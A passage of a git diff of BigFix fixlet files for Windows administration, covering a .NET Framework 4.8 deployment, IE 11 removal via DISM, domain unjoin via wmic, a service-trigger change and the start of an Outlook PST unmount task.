-    <Relevance>if (name of it = &quot;Win8.1&quot; OR name of it = &quot;Win8&quot; AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.3&quot;) of operating system then exists key (&quot;Package_for_KB2919355~31bf3856ad364e35~amd64~~6.3.1.14&quot;; &quot;Package_for_KB2919355~31bf3856ad364e35~x86~~6.3.1.14&quot;) whose (112 = value &quot;CurrentState&quot; of it as integer) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of native registry else true</Relevance>
-    <Relevance>if ((exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10 of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) then ((it as integer = 1607 OR it as integer = 1703 OR it as integer = 1709 OR it as integer = 1803 OR it as integer = 1809) of value &quot;ReleaseId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) else true</Relevance>
-    <Category>Update</Category>
-    <Source>Microsoft</Source>
-    <SourceReleaseDate>2018-04-18</SourceReleaseDate>
-    <SourceSeverity>Unspecified</SourceSeverity>
-    <CVENames>Unspecified</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Thu, 14 Jun 2018 06:43:49 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-operating-system</Name>
-      <Value>Windows 7 SP1 |~| Windows 8 Gold |~| Windows 8.1 Gold |~| Windows Server 2008 R2 SP1 |~| Windows Server 2008 SP2 |~| Windows Server 2012 Gold |~| Windows Server 2012 R2 Gold |~| Windows Vista SP2 (x64)</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>no-relevance-health-check</Name>
-      <Value>false</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product-family</Name>
-      <Value>Windows</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-component</Name>
-      <Value>.NET Framework</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product</Name>
-      <Value>Win8.1|Win2012|Win2012R2|Win2008R2|Win8|Win7|WinVista|Win2008</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 14 Jun 2019 18:04:11 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch ndp48-x86-x64-allos-enu.exe sha1:0d425249d42a01e7ab3ac243152fa7773c43f0bf size:72721568 https://download.visualstudio.microsoft.com/download/pr/7afca223-55d2-470a-8edc-6a1739ae3252/abd170b4b0ec15ad0222a809b761a036/ndp48-x86-x64-allos-enu.exe sha256:95889D6DE3F2070C07790AD6CF2000D33D9A1BDFC6A381725AB82AB1C314FD53
-
-waithidden __Download\ndp48-x86-x64-allos-enu.exe /quiet /norestart
-
-action may require restart &quot;0d425249d42a01e7ab3ac243152fa7773c43f0bf&quot;
-</ActionScript>
-    </DefaultAction>
-    <Action ID="Action27905">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to see the Knowledge Base Article for this update.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://devblogs.microsoft.com/dotnet/announcing-the-net-framework-4-8</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : UPDATE: Microsoft .NET Framework 4.8 Available - Windows 7 SP1 / Windows 8.1 / Windows 10 / Windows Server 2008 R2 SP1 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016 / Windows Server 2019
+  ID       : 26631
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2019-06-14T11:37:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>UPDATE: Microsoft .NET Framework 4.8 Available - Windows 7 SP1 / Windows 8.1 / Windows 10 / Windows Server 2008 R2 SP1 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016 / Windows Server 2019</Title>
+    <Description><![CDATA[<DIV class=FixletMessage>
+<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>The Microsoft .NET Framework 4.8 is a highly compatible, in-place update to the Microsoft .NET Framework 4, Microsoft .NET Framework 4.5, Microsoft .NET Framework 4.5.1, Microsoft .NET Framework 4.5.2, Microsoft .NET Framework 4.6, Microsoft .NET Framework 4.6.1, Microsoft .NET Framework 4.6.2, Microsoft .NET Framework 4.7, Microsoft .NET Framework 4.7.1, and Microsoft .NET Framework 4.7.2. The offline package can be used in situations where the web installer cannot be used due to lack of internet connectivity.<BR><BR>After downloading and installing this update, affected computers will no longer be susceptible to this vulnerability.<BR><BR><STRONG><FONT color=#ff0000>Important Note:</FONT></STRONG> There are known issues associated with the installation of this update. See the Known Issues section of the Knowledge Base Article for more information.</P>
+<P><B>Note:</B> Affected computers may report back as 'Pending Restart' once the update has run successfully, but will not report back their final status until the computer has been restarted.</P></TD></TR></TBODY></TABLE></DIV>
+<DIV class=FixletProperty>
+<H4>File Size:</H4>69.3 MB </DIV>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>not ia64 of operating system</Relevance>
+    <Relevance>(((name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND service pack major version of it = 1) OR (((name of it = &quot;Win8.1&quot; OR name of it = &quot;Win8&quot; AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.3&quot;) OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win2012R2&quot;) AND service pack major version of it = 0) OR (name of it = &quot;Win10&quot; OR (it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of it AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) OR ((((it starts with &quot;Win20&quot; or it = &quot;Win2016&quot; or it = &quot;Win2019&quot;) of name of it AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) AND service pack major version of it = 0))) of operating system</Relevance>
+    <Relevance><![CDATA[not exists key "HKLM\Software\Microsoft\NET Framework Setup\NDP\v4" of native registry OR exists key "HKLM\Software\Microsoft\NET Framework Setup\NDP\v4" whose (not exists key "Full" of it OR exists key "Full" whose (not exists value "Release" of it OR value "Release" of it < 528049) of it) of native registry]]></Relevance>
+    <Relevance>if (name of it = &quot;Win8.1&quot; OR name of it = &quot;Win8&quot; AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.3&quot;) of operating system then exists key (&quot;Package_for_KB2919355~31bf3856ad364e35~amd64~~6.3.1.14&quot;; &quot;Package_for_KB2919355~31bf3856ad364e35~x86~~6.3.1.14&quot;) whose (112 = value &quot;CurrentState&quot; of it as integer) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of native registry else true</Relevance>
+    <Relevance>if ((exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10 of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) then ((it as integer = 1607 OR it as integer = 1703 OR it as integer = 1709 OR it as integer = 1803 OR it as integer = 1809) of value &quot;ReleaseId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) else true</Relevance>
+    <Category>Update</Category>
+    <Source>Microsoft</Source>
+    <SourceReleaseDate>2018-04-18</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 14 Jun 2018 06:43:49 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-operating-system</Name>
+      <Value>Windows 7 SP1 |~| Windows 8 Gold |~| Windows 8.1 Gold |~| Windows Server 2008 R2 SP1 |~| Windows Server 2008 SP2 |~| Windows Server 2012 Gold |~| Windows Server 2012 R2 Gold |~| Windows Vista SP2 (x64)</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>no-relevance-health-check</Name>
+      <Value>false</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>.NET Framework</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Win8.1|Win2012|Win2012R2|Win2008R2|Win8|Win7|WinVista|Win2008</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 14 Jun 2019 18:04:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch ndp48-x86-x64-allos-enu.exe sha1:0d425249d42a01e7ab3ac243152fa7773c43f0bf size:72721568 https://download.visualstudio.microsoft.com/download/pr/7afca223-55d2-470a-8edc-6a1739ae3252/abd170b4b0ec15ad0222a809b761a036/ndp48-x86-x64-allos-enu.exe sha256:95889D6DE3F2070C07790AD6CF2000D33D9A1BDFC6A381725AB82AB1C314FD53
+
+waithidden __Download\ndp48-x86-x64-allos-enu.exe /quiet /norestart
+
+action may require restart &quot;0d425249d42a01e7ab3ac243152fa7773c43f0bf&quot;
+</ActionScript>
+    </DefaultAction>
+    <Action ID="Action27905">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the Knowledge Base Article for this update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://devblogs.microsoft.com/dotnet/announcing-the-net-framework-4-8</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/UnSet Service tzautoupdate triggers (Trigger Start) - Windows (24614).bes b/Sites/Windows Management/Fixlets/Fixlets/UnSet Service tzautoupdate triggers (Trigger Start) - Windows (24614).bes
index dcd848246..375ca731a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/UnSet Service tzautoupdate triggers (Trigger Start) - Windows (24614).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/UnSet Service tzautoupdate triggers (Trigger Start) - Windows (24614).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : UnSet Service tzautoupdate triggers (Trigger Start) - Windows
-  ID       : 24614
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-08-09T21:18:30
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>UnSet Service tzautoupdate triggers (Trigger Start) - Windows</Title>
-    <Description><![CDATA[<P>WARNING: This is a bad idea to do to a service without understanding the consequences!!!&nbsp; You probably shouldn't do this!</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
-    <Relevance>exists keys whose(name of it as lowercase = &quot;tzautoupdate&quot; as lowercase AND exists keys &quot;TriggerInfo&quot; whose(exists keys of it) of it AND not exists values &quot;Start&quot; whose(it as integer = 4) of it) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&quot; of registries</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 10 Aug 2017 04:13:32 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-waithidden cmd /C sc triggerinfo tzautoupdate delete
-
-// References:
-//  - https://technet.microsoft.com/en-us/library/cc990290
-//  - https://developer.bigfix.com/relevance/reference/service.html
-//  - https://serverfault.com/questions/599099/windows-service-trigger-start-difference-manual-vs-automatic
-//  - https://www.tenforums.com/general-support/7464-difference-between-manual-manual-trigger-start-services.html#post924871
-//  - https://bigfix.me/relevance/details/3020300
-//  - https://bigfix.me/relevance/details/3020298
-//  - https://bigfix.me/relevance/details/3020297
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : UnSet Service tzautoupdate triggers (Trigger Start) - Windows
+  ID       : 24614
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-08-09T21:18:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>UnSet Service tzautoupdate triggers (Trigger Start) - Windows</Title>
+    <Description><![CDATA[<P>WARNING: This is a bad idea to do to a service without understanding the consequences!!!&nbsp; You probably shouldn't do this!</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
+    <Relevance>exists keys whose(name of it as lowercase = &quot;tzautoupdate&quot; as lowercase AND exists keys &quot;TriggerInfo&quot; whose(exists keys of it) of it AND not exists values &quot;Start&quot; whose(it as integer = 4) of it) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&quot; of registries</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Aug 2017 04:13:32 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden cmd /C sc triggerinfo tzautoupdate delete
+
+// References:
+//  - https://technet.microsoft.com/en-us/library/cc990290
+//  - https://developer.bigfix.com/relevance/reference/service.html
+//  - https://serverfault.com/questions/599099/windows-service-trigger-start-difference-manual-vs-automatic
+//  - https://www.tenforums.com/general-support/7464-difference-between-manual-manual-trigger-start-services.html#post924871
+//  - https://bigfix.me/relevance/details/3020300
+//  - https://bigfix.me/relevance/details/3020298
+//  - https://bigfix.me/relevance/details/3020297
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Uninstall_  Internet-Explorer 11 (Windows 64BIT) (26938).bes b/Sites/Windows Management/Fixlets/Fixlets/Uninstall_  Internet-Explorer 11 (Windows 64BIT) (26938).bes
index 57f3ba57d..29d46ea0d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Uninstall_  Internet-Explorer 11 (Windows 64BIT) (26938).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Uninstall_  Internet-Explorer 11 (Windows 64BIT) (26938).bes	
@@ -1,83 +1,83 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Uninstall:  Internet-Explorer 11 (Windows 64BIT)
-  ID       : 26938
-  Author   : jeffschafer
-  Domain   : SYST
-  Imported : 2022-07-14T11:37:30
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Uninstall: Internet-Explorer 11 (Windows 64BIT)</Title>
-    <Description><![CDATA[<P>UniInstall Internet explorer 11&nbsp;via the DISM tool.&nbsp; This action will be relevant on Windows OS's that have Internet Explorer 11 installed</P>]]></Description>
-    <Relevance>name of operating systems as lowercase starts with &quot;win&quot;</Relevance>
-    <Relevance>exists regapp &quot;iexplore.exe&quot; and product version of regapp &quot;iexplore.exe&quot; as string starts with &quot;11.&quot;</Relevance>
-    <Category>Uninstall</Category>
-    <Source>AVP-Jeff Schafer</Source>
-    <SourceReleaseDate>2022-07-13</SourceReleaseDate>
-    <SourceSeverity>CRITICAL</SourceSeverity>
-    <MIMEField>
-      <Name>bigfixme-added-time</Name>
-      <Value>Wed, 26 Dec 2012 15:35:15 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Wed, 26 Dec 2012 15:35:15 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-keywords</Name>
-      <Value>Uninstall Feature Internet Explorer Optional</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-ID</Name>
-      <Value>1048</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 13 Jul 2022 22:18:48 +0000</Value>
-    </MIMEField>
-    <Domain>SYST</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to&amp;nbsp;remove IE 11 on targeted systems with no forced reboot (Note: Reboot will be required to complete)</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-delete __appendfile
-appendfile &quot;{pathname of system folder}\dism.exe&quot; /online /NoRestart /Remove-Capability /CapabilityName:Browser.InternetExplorer~~~~0.0.11.0 /quiet
-delete __Download\remove_ie_11.bat
-move __appendfile __Download\remove_ie_11.bat
-waithidden __Download\remove_ie_11.bat
-action requires restart
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action28254">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to&amp;nbsp;&amp;nbsp;remove IE 11 on targeted system with immediate foreced reboot (Warning).</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-delete __appendfile
-appendfile &quot;{pathname of system folder}\dism.exe&quot; /online /Remove-Capability /CapabilityName:Browser.InternetExplorer~~~~0.0.11.0 /quiet
-delete __Download\remove_ie_11.bat
-move __appendfile __Download\remove_ie_11.bat
-waithidden __Download\remove_ie_11.bat
-action requires restart</ActionScript>
-    </Action>
-    <Action ID="Action28255">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to review Microsoft website on how to disable IE 11</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/installation/disable-internet-explorer-windows</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Uninstall:  Internet-Explorer 11 (Windows 64BIT)
+  ID       : 26938
+  Author   : jeffschafer
+  Domain   : SYST
+  Imported : 2022-07-14T11:37:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Uninstall: Internet-Explorer 11 (Windows 64BIT)</Title>
+    <Description><![CDATA[<P>UniInstall Internet explorer 11&nbsp;via the DISM tool.&nbsp; This action will be relevant on Windows OS's that have Internet Explorer 11 installed</P>]]></Description>
+    <Relevance>name of operating systems as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance>exists regapp &quot;iexplore.exe&quot; and product version of regapp &quot;iexplore.exe&quot; as string starts with &quot;11.&quot;</Relevance>
+    <Category>Uninstall</Category>
+    <Source>AVP-Jeff Schafer</Source>
+    <SourceReleaseDate>2022-07-13</SourceReleaseDate>
+    <SourceSeverity>CRITICAL</SourceSeverity>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Wed, 26 Dec 2012 15:35:15 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Wed, 26 Dec 2012 15:35:15 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>Uninstall Feature Internet Explorer Optional</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-ID</Name>
+      <Value>1048</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 13 Jul 2022 22:18:48 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to&amp;nbsp;remove IE 11 on targeted systems with no forced reboot (Note: Reboot will be required to complete)</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+delete __appendfile
+appendfile &quot;{pathname of system folder}\dism.exe&quot; /online /NoRestart /Remove-Capability /CapabilityName:Browser.InternetExplorer~~~~0.0.11.0 /quiet
+delete __Download\remove_ie_11.bat
+move __appendfile __Download\remove_ie_11.bat
+waithidden __Download\remove_ie_11.bat
+action requires restart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action28254">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to&amp;nbsp;&amp;nbsp;remove IE 11 on targeted system with immediate foreced reboot (Warning).</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+delete __appendfile
+appendfile &quot;{pathname of system folder}\dism.exe&quot; /online /Remove-Capability /CapabilityName:Browser.InternetExplorer~~~~0.0.11.0 /quiet
+delete __Download\remove_ie_11.bat
+move __appendfile __Download\remove_ie_11.bat
+waithidden __Download\remove_ie_11.bat
+action requires restart</ActionScript>
+    </Action>
+    <Action ID="Action28255">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review Microsoft website on how to disable IE 11</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/installation/disable-internet-explorer-windows</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Unjoin Domain on Windows Computer - wmic (26948).bes b/Sites/Windows Management/Fixlets/Fixlets/Unjoin Domain on Windows Computer - wmic (26948).bes
index c43ef4b1d..1c5802364 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Unjoin Domain on Windows Computer - wmic (26948).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Unjoin Domain on Windows Computer - wmic (26948).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Unjoin Domain on Windows Computer - wmic
-  ID       : 26948
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2022-09-12T07:26:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Unjoin Domain on Windows Computer - wmic</Title>
-    <Description><![CDATA[This Task will change the computer name of a Windows computer.&nbsp; This is valid only for clients that are not joined to a Domain. ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance>exists netbios domainnames of local computers of active directories</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 04 Oct 2019 17:39:01 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection false
-waithidden wmic.exe computersystem where name!=null call unjoindomainorworkgroup
-action requires restart RenameComputer</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Unjoin Domain on Windows Computer - wmic
+  ID       : 26948
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-09-12T07:26:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Unjoin Domain on Windows Computer - wmic</Title>
+    <Description><![CDATA[This Task will change the computer name of a Windows computer.&nbsp; This is valid only for clients that are not joined to a Domain. ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance>exists netbios domainnames of local computers of active directories</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 04 Oct 2019 17:39:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection false
+waithidden wmic.exe computersystem where name!=null call unjoindomainorworkgroup
+action requires restart RenameComputer</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Unmount PST Files from Outlook (26642).bes b/Sites/Windows Management/Fixlets/Fixlets/Unmount PST Files from Outlook (26642).bes
index 79693d8a4..12eb3cd06 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Unmount PST Files from Outlook (26642).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Unmount PST Files from Outlook (26642).bes	
@@ -1,134 +1,134 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Unmount PST Files from Outlook
-  ID       : 26642
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2019-08-23T13:19:23
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Unmount PST Files from Outlook</Title>
-    <Description>Unmount PST files from Outlook for Current User and close Outlook to unlock the file </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(if exists regapp "outlook.exe" then (if ((version of regapp "outlook.exe" > "15.0.0.0") AND (version of regapp "outlook.exe" < "16.0.0.0")) then (if exists (names of values of key "Software\Microsoft\Office\15.0\Outlook\Search\Catalog" of keys of key "HKEY_USERS" of registry) whose (it as string contains ".pst") then true else false) else false) else false) OR (if exists regapp "outlook.exe" then (if version of regapp "outlook.exe" > "16.0.0.0" then (if exists (names of values of key "Software\Microsoft\Office\16.0\Outlook\Search\Catalog" of keys of key "HKEY_USERS" of registry) whose (it as string contains ".pst") then true else false) else false) else false) OR (if exists regapp "outlook.exe" then (if version of regapp "outlook.exe" = "10" then (if exists values whose (it as string contains ".pst") of keys of keys of keys "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles" of keys of keys "HKEY_USERS" of registry then true else false) else false) else false)]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2019-08-20</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 23 Aug 2019 19:47:09 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
